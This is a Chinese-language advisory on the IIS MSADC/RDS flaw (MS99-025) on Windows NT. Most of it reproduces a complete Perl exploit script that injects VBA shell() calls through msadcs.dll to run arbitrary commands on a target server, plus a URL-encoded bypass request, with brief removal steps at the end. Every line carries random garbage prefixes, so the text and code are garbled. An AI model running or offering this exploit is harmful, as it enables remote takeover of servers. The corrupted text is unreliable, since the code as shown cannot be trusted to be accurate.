IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&>z}u&oF } bEu+bZ 涉及程序：
kA(q-Re$B* Microsoft NT server
AK5$>Pkvk m NAp FwZ 描述：
>Av%[G5=h# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
J9`[Qy\ Q)Zk UmW 详细：
0:k ~ lz 如果你没有时间读详细内容的话，就删除:
*,p16"Q; c:\Program Files\Common Files\System\Msadc\msadcs.dll
V r<ypyC 有关的安全问题就没有了。
D(gpF85t -Q P&A >]7 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
gfAVxMg 'gv7&$X}4 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
g bwg3$!9 关于利用ODBC远程漏洞的描述，请参看:
!Mk:rO-L ,__|SnA. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >jBnNA@ .X(ocs$} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
da53XEF& http://www.microsoft.com/security/bulletins/MS99-025faq.asp T#w *5Q f dM3V2 TT 这里不再论述。
^9I^A! w= _\2^s&iJh 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
o*1t)HL < g@ 7j<UY /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=Pg u?WU@ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
@DYkWivLu #L,5;R{` 'BwM{c-O" #将下面这段保存为txt文件，然后: "perl -x 文件名"
Y&_1U/}h 9=Rj9% #!perl
h\^> s$ #
JPT VZ # MSADC/RDS 'usage' (aka exploit) script
A At <{ #
ld*RL:G # by rain.forest.puppy
Rd.[8#7VE #
G0eJ<*|_ 3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Ig6>+M w # beta test and find errors!
mLn =SU{# q7% eLJ use Socket; use Getopt::Std;
P=9Zm getopts("e:vd:h:XR", \%args);
^NTOZ0x~# = xX\z\[A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6">jf #pE 'zhw]L;'g if (!defined $args{h} && !defined $args{R}) {
0yxMIX print qq~
id.W"5+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
J8yi#A>+ -h <host> = host you want to scan (ip or domain)
Wy%F
-d <seconds> = delay between calls, default 1 second
<U$A_ ]*w -X = dump Index Server path table, if available
|79!exVMBp -v = verbose
]=g |e -e = external dictionary file for step 5
x9NLJI21/ GcPhT Or a -R will resume a command session
6\9 9WQ d/ OIc){tD ~; exit;}
<WGl4#(k cnOk $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
wp,z~raaS if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:B'}#;8_
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:{tvAdMl7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#YSUPO% F $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
s:/.:e_PU if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
, eZL&n @kKmkVhu* if (!defined $args{R}){ $ret = &has_msadc;
; (+r)r_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
b\w88=| $V)LGu2( m print "Please type the NT commandline you want to run (cmd /c assumed):\n"
]4>[y?k34 . "cmd /c ";
7o+!G ts] $in=<STDIN>; chomp $in;
=7mR#3yt $command="cmd /c " . $in ;
"ppT<8Qi' G
K @]61b if (defined $args{R}) {&load; exit;}
f. =4p^ pstQithS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
SJ-g2aAT &try_btcustmr;
hoi hdVjv 97Qng*i print "\nStep 2: Trying to make our own DSN...";
Sn/~R|3XA7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
G JItGq`) (r.{v@h,dV print "\nStep 3: Trying known DSNs...";
m!:7ur:Y &known_dsn;
>1tGQ
cg 3Fn26Ri j print "\nStep 4: Trying known .mdbs...";
7
v<$l &known_mdb;
sz wXr K`FgU 7g{ if (defined $args{e}){
^[CD- # print "\nStep 5: Trying dictionary of DSN names...";
!DCJ2h%E[_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
m=S[Y^tR u
hP0Zwn print "Sorry Charley...maybe next time?\n";
HJ5m5':a exit;
lq_W;L dTaR 8i ##############################################################################
j78xMGKO GD'C^\E aZ sub sendraw { # ripped and modded from whisker
.VmI4V?}h sleep($delay); # it's a DoS on the server! At least on mine...
Q [p 0bD: my ($pstr)=@_;
Md
{,@ G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G6eC.vU]j die("Socket problems\n");
xM ;gF2 if(connect(S,pack "SnA4x8",2,80,$target)){
asW1GZO select(S); $|=1;
)
ZOmv print $pstr; my @in=<S>;
S _:(I^ select(STDOUT); close(S);
@6$r| :]G- return @in;
$#@4i4TN- } else { die("Can't connect...\n"); }}
>UJ&noUD#: 1 qUdj[Bj ##############################################################################
}]z mp/;a GGF;T&DWad sub make_header { # make the HTTP request
{zUc*9 my $msadc=<<EOT
"\BP+AF POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Whd4-pR8 User-Agent: ACTIVEDATA
Xx|&%b{{r Host: $ip
^l^_ K)tw* Content-Length: $clen
#s#z@F Connection: Keep-Alive
G-3.- #K! Df%,< ADCClientVersion:01.06
pLzsL>6h Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*!9/`zW ?GFxJ6!%I --!ADM!ROX!YOUR!WORLD!
OqBw&zm Content-Type: application/x-varg
hDlk! #* Content-Length: $reqlen
R C (v# G Ti3BlWQH EOT
q 8=u.T ; $msadc=~s/\n/\r\n/g;
bOck^1Hk y return $msadc;}
kM3BP&
3m1 MmWJYF= ##############################################################################
& OhKx .4!N #' sub make_req { # make the RDS request
N`Bt|#R my ($switch, $p1, $p2)=@_;
r$v?[x>+K my $req=""; my $t1, $t2, $query, $dsn;
[k'Ph3 3c c(#`z!FB if ($switch==1){ # this is the btcustmr.mdb query
<YeF?$S} $query="Select * from Customers where City=" . make_shell();
G< jpJ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
U-FA^ c; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6@Xutc iK pXFNK " jm elsif ($switch==2){ # this is general make table query
kw-/h+lG $query="create table AZZ (B int, C varchar(10))";
Rc6
)v $dsn="$p1";}
B E"nyTQ k) v[/#I elsif ($switch==3){ # this is general exploit table query
Msd!4 TrBJ $query="select * from AZZ where C=" . make_shell();
Km <Wh= $dsn="$p1";}
GmL |7 6 jm-0]ugY&` elsif ($switch==4){ # attempt to hork file info from index server
mLk Z4OZ $query="select path from scope()";
p fBO 5Ys $dsn="Provider=MSIDXS;";}
_kY5
6 zi?'3T%Ie elsif ($switch==5){ # bad query
^CK)q2K>[ $query="select";
J.<%E[
z $dsn="$p1";}
ax^${s|{- / a$+EQ$ $t1= make_unicode($query);
D`t e|K5 $t2= make_unicode($dsn);
rm MO-!s $req = "\x02\x00\x03\x00";
Yi p9K[ $req.= "\x08\x00" . pack ("S1", length($t1));
>|Jw ,,uf $req.= "\x00\x00" . $t1 ;
4|$D.`Wu $req.= "\x08\x00" . pack ("S1", length($t2));
D} .t $req.= "\x00\x00" . $t2 ;
3-mw-;. $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+1)C&: return $req;}
#`p>VXBj! GVl
u 4 ##############################################################################
r0 X2cc o` 77gkLO sub make_shell { # this makes the shell() statement
*}_/:\v return "'|shell(\"$command\")|'";}
@zJ I0_Bp BL8\p_U ##############################################################################
i `>X5Da5 k(
g$_ ]X sub make_unicode { # quick little function to convert to unicode
7&At _l_ my ($in)=@_; my $out;
iO!lG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,{Ab=xV return $out;}
dJLJh*=AG sd[QtK^ ##############################################################################
R82Y&s; y:A0!75 sub rdo_success { # checks for RDO return success (this is kludge)
fjWh}w8 my (@in) = @_; my $base=content_start(@in);
jO,<7FPs5 if($in[$base]=~/multipart\/mixed/){
z JnVO$A' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}=|ZEhtOp return 0;}
-1_Z*?=- Z>,X$ Y6< ##############################################################################
4w
z
6% qXI30Yo#d sub make_dsn { # this makes a DSN for us
*n*y!z my @drives=("c","d","e","f");
zl:D|h77 print "\nMaking DSN: ";
9#(QS+q~ foreach $drive (@drives) {
[*vN`AfE print "$drive: ";
1}BNG ,n my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
yQA[X} "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
S!q}Pn . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Lq [wabF $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%8*d)AB: return 0 if $2 eq "404"; # not found/doesn't exist
)j6>b-H if($2 eq "200") {
*h4m<\^U foreach $line (@results) {
Az-!LAu9 R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3E Zw F } return 0;}
=CVT8 (N* hX_p5a1t ##############################################################################
A pjqSz" 7[H`;l sub verify_exists {
YW{V4yW my ($page)=@_;
? g{,MP5 my @results=sendraw("GET $page HTTP/1.0\n\n");
>Y+ KL return $results[0];}
D9C}Dys . zAafi0 ##############################################################################
ziycyf.d 1hviT& sub try_btcustmr {
VjqdKQeVq my @drives=("c","d","e","f");
S1zw'!O5 my @dirs=("winnt","winnt35","winnt351","win","windows");
S <_pGz$V 9Bk}g50$# foreach $dir (@dirs) {
IA^)`l 7H print "$dir -> "; # fun status so you can see progress
I.u,f:Fl' foreach $drive (@drives) {
3rY /6{ print "$drive: "; # ditto
Mak9qaWqF> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
BZ <z@DJp $reqlenlen=length( "$reqlen" );
G z XP $clen= 206 + $reqlenlen + $reqlen;
]'h)7 #5C3S3e= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O|RO
j if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
DjIswI1I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#(IM RdUf ~|9LW p_ ##############################################################################
#Q@6:bBzv XC1lo 4| sub odbc_error {
erP>P my (@in)=@_; my $base;
y:OywIi( my $base = content_start(@in);
W{+0i AYnp if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Ql@yN@V $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
% 9/) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{@ y, $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^R7z LHU; return $in[$base+4].$in[$base+5].$in[$base+6];}
H27Oq8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i 9tJHeSm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
wDhcHB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
'h^DI` otSPi7|k ##############################################################################
C5 5n Kg`x9._2 sub verbose {
7=.Vq C^ my ($in)=@_;
Z{
Zox[/ return if !$verbose;
Au._n,< print STDOUT "\n$in\n";}
+@u C:3jM ^Ai_/! " ##############################################################################
.r| vz6tU? &E &iaw! sub save {
\ui^
d my ($p1, $p2, $p3, $p4)=@_;
]GtR8w@w open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6J- }&U print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
eH!|MHe close OUT;}
$ Xs Q e IaTq4r t ##############################################################################
"$Iw Q j' *p sub load {
x\hn;i< my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EjX'&"3. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
!e n F 8a @p=<IN>; close(IN);
#KNq:@wp6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
gZEA;N:H%< $target= inet_aton($ip) || die("inet_aton problems");
DVoV:pk print "Resuming to $ip ...";
q&$0i $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
CotMV^ if($p[1]==1) {
y [9}[NMZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
A%*DQ1N $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
R, w54}, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
T :S{ 3 if (rdo_success(@results)){print "Success!\n";}
uP =_-ZUW else { print "failed\n"; verbose(odbc_error(@results));}}
e3={$A h elsif ($p[1]==3){
O?,i? if(run_query("$p[3]")){
g}
~<!VpX print "Success!\n";} else { print "failed\n"; }}
3:8nwt elsif ($p[1]==4){
4Eh BpTg
if(run_query($drvst . "$p[3]")){
:$c SQ(q9a print "Success!\n"; } else { print "failed\n"; }}
a H|OA\< exit;}
KvJP(!{ YeExjC ##############################################################################
ua|Z `qUyq jbhJ;c : sub create_table {
R`C_CsXir my ($in)=@_;
_IKP{WNB $reqlen=length( make_req(2,$in,"") ) - 28;
@j\?h$A/ $reqlenlen=length( "$reqlen" );
v8vh~^X%P $clen= 206 + $reqlenlen + $reqlen;
ul=a\;3x#| my @results=sendraw(make_header() . make_req(2,$in,""));
?J@?,rZQ^V return 1 if rdo_success(@results);
d! QD vO my $temp= odbc_error(@results); verbose($temp);
9 QCpXy return 1 if $temp=~/Table 'AZZ' already exists/;
Kpp * ^ return 0;}
=Sb :<q+Q gj egzKU ##############################################################################
8
1K G1i ) -6~dJTm[t sub known_dsn {
1|EU5< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
p-yOiG8b} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
u};]LX\E "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$|cp;~ 1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
&Rl3y\
r enbN0 foreach $dSn (@dsns) {
(LT\
IJSM print ".";
'q};L 6 next if (!is_access("DSN=$dSn"));
>uchF8)e| if(create_table("DSN=$dSn")){
qtwT#z;Y print "$dSn successful\n";
;[OJ-|Q if(run_query("DSN=$dSn")){
Fy _<Ui print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p[@oF5M print "Something's borked. Use verbose next time\n";}}} print "\n";}
_KM $u>B8 O^R:_vb3I ##############################################################################
gKs/T'PW Zn<(,e sub is_access {
G x h~ my ($in)=@_;
4j@kMe;RjZ $reqlen=length( make_req(5,$in,"") ) - 28;
_> |R-vQ8 $reqlenlen=length( "$reqlen" );
V:F+HMBk $clen= 206 + $reqlenlen + $reqlen;
>0<KkBH my @results=sendraw(make_header() . make_req(5,$in,""));
H7tQ# my $temp= odbc_error(@results);
93^(O8. verbose($temp); return 1 if ($temp=~/Microsoft Access/);
o3i,B),K return 0;}
Xc9p;B>^Ts H81.p ##############################################################################
PX69 /_:T\`5uO sub run_query {
@ O<@f8- my ($in)=@_;
#lyM+.T $reqlen=length( make_req(3,$in,"") ) - 28;
A"BtVy[[9 $reqlenlen=length( "$reqlen" );
V6z@"+ $clen= 206 + $reqlenlen + $reqlen;
v/aPiFlw my @results=sendraw(make_header() . make_req(3,$in,""));
KT
lP:pB; return 1 if rdo_success(@results);
*m| t =9E my $temp= odbc_error(@results); verbose($temp);
ph8Jn+|E return 0;}
|>IUtUg\ ]w_ ##############################################################################
Ukh$` q} TJyH/ C sub known_mdb {
nqurY62Ip my @drives=("c","d","e","f","g");
XAQ\OX# my @dirs=("winnt","winnt35","winnt351","win","windows");
s}[A4`EWH my $dir, $drive, $mdb;
'!+ P{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gI^L
9jE7 (DG@<K,6 # this is sparse, because I don't know of many
ebO`A2V'( my @sysmdbs=( "\\catroot\\icatalog.mdb",
z@Z_] h
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S6X b*6 "\\system32\\certmdb.mdb",
yUD_ w "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
~}7$uW0ol }DDVGs [ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
2xL!PR- "\\cfusion\\cfapps\\forums\\forums_.mdb",
:_o ] F "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
+gbX}jF0% "\\cfusion\\cfapps\\security\\realm_.mdb",
Q{.{#G "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3WO#^}t "\\cfusion\\database\\cfexamples.mdb",
t?]\M&i& "\\cfusion\\database\\cfsnippets.mdb",
k W<Yda<a "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
pB g|n=^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b"R, p=M "\\cfusion\\brighttiger\\database\\cleam.mdb",
wO2V%v^bp "\\cfusion\\database\\smpolicy.mdb",
,c ,Xd "\\cfusion\\database\cypress.mdb",
RV0>-@/x "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
08Pt(kzNA "\\website\\cgi-win\\dbsample.mdb",
,Lt~u_ lve "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
.g/ARwM} "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
[]A" ]p ); #these are just
]k ::J>84 foreach $drive (@drives) {
?AeHVQ
:C foreach $dir (@dirs){
z`emKFbv foreach $mdb (@sysmdbs) {
>% uAQiU print ".";
:rz9M@7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
3~[`[4n^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
lgkl? 0! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sorSyuGr print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
h`
irO 5 } else { print "Something's borked. Use verbose next time\n"; }}}}}
=~ GE?}.o 3W7;f! foreach $drive (@drives) {
Je# !Wd foreach $mdb (@mdbs) {
bx hP jAL print ".";
HG{&U:>) if(create_table($drv . $drive . $dir . $mdb)){
0[n c7)sW print "\n" . $drive . $dir . $mdb . " successful\n";
7=7!| UV if(run_query($drv . $drive . $dir . $mdb)){
I! h (` print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
'}U_D:o.b } else { print "Something's borked. Use verbose next time\n"; }}}}
Zd v.PGn }
xoqiRtlY: p{iG{ ##############################################################################
@k=cN>ZMc D+@-XU<Lp< sub hork_idx {
=y)p>3p}& print "\nAttempting to dump Index Server tables...\n";
F^ I\X print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$q Zc!Qc $reqlen=length( make_req(4,"","") ) - 28;
! (2-(LgA $reqlenlen=length( "$reqlen" );
89LpklD $clen= 206 + $reqlenlen + $reqlen;
]]el| my @results=sendraw2(make_header() . make_req(4,"",""));
E
S#rs=" if (rdo_success(@results)){
$x?NNS_ "J my $max=@results; my $c; my %d;
?8 SK\{9r6 for($c=19; $c<$max; $c++){
iBG`43; $results[$c]=~s/\x00//g;
1 L+=|*: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
A)\>#Dv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
>Y 7r \ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y bo#K $d{"$1$2"}="";}
YniZ(
~^K foreach $c (keys %d){ print "$c\n"; }
|ZS 57c: } else {print "Index server doesn't seem to be installed.\n"; }}
7%{R#$F ^y:FjQC: ##############################################################################
T?W[Z_D nqZA|-} sub dsn_dict {
UppBnw open(IN, "<$args{e}") || die("Can't open external dictionary\n");
xj0cgK|! while(<IN>){
PV?]UUc'n< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
m! rwG( next if (!is_access("DSN=$dSn"));
F0@Qgk]\ if(create_table("DSN=$dSn")){
@@'nit print "$dSn successful\n";
uW UR3n if(run_query("DSN=$dSn")){
3LKB ; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
CD^CUbGk print "Something's borked. Use verbose next time\n";}}}
ao )Ck3] print "\n"; close(IN);}
*f79=x K1:a]aU?Iu ##############################################################################
Wm<z?.lS ;KZrl` sub sendraw2 { # ripped and modded from whisker
HbNYP/MN3 sleep($delay); # it's a DoS on the server! At least on mine...
Q m
$(
my ($pstr)=@_;
-u6}T! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}KK2WJp#M die("Socket problems\n");
}0$mn)*k if(connect(S,pack "SnA4x8",2,80,$target)){
vT?Q^PTO print "Connected. Getting data";
;4!=DFbU open(OUT,">raw.out"); my @in;
}c}
( 5 select(S); $|=1; print $pstr;
Yx6hA#7I while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
RXBb:f close(OUT); select(STDOUT); close(S); return @in;
V/J>GRjw } else { die("Can't connect...\n"); }}
#;d)? |</"N-#S ##############################################################################
6G'<[gL
j 'g]hmE sub content_start { # this will take in the server headers
IQT cYl my (@in)=@_; my $c;
3=Z<wD s for ($c=1;$c<500;$c++) {
{] O`g G if($in[$c] =~/^\x0d\x0a/){
2-~a
P if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
wDDx j else { return $c+1; }}}
\3r3{X
_<` return -1;} # it should never get here actually
IeVLn^?+: JL.5Q zA ##############################################################################
NjbwGcH%\ z+jh ;!i sub funky {
tG/1pW my (@in)=@_; my $error=odbc_error(@in);
wa" uFW if($error=~/ADO could not find the specified provider/){
NUMi])HkN print "\nServer returned an ADO miscofiguration message\nAborting.\n";
2
#KoN8% exit;}
-&im jy< if($error=~/A Handler is required/){
F<5n Gx cC print "\nServer has custom handler filters (they most likely are patched)\n";
9SY(EL exit;}
.8]Y- if($error=~/specified Handler has denied Access/){
K h)F yV print "\nServer has custom handler filters (they most likely are patched)\n";
N=#4L$@- exit;}}
Id %_{),HX jPnO@ H1 ##############################################################################
z!:'V] y?>#t^ sub has_msadc {
27>a#vCT my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
va5FxF*% my $base=content_start(@results);
_F izgs return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
9 RxO7K return 0;}
"IG+V:{ou k^^:;OR ########################
uArR\k(
MHo1 lrZa+ [h4o7 解决方案：
k5@d! }#c 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8a9RML}G< 2、移除web 目录: /msadc
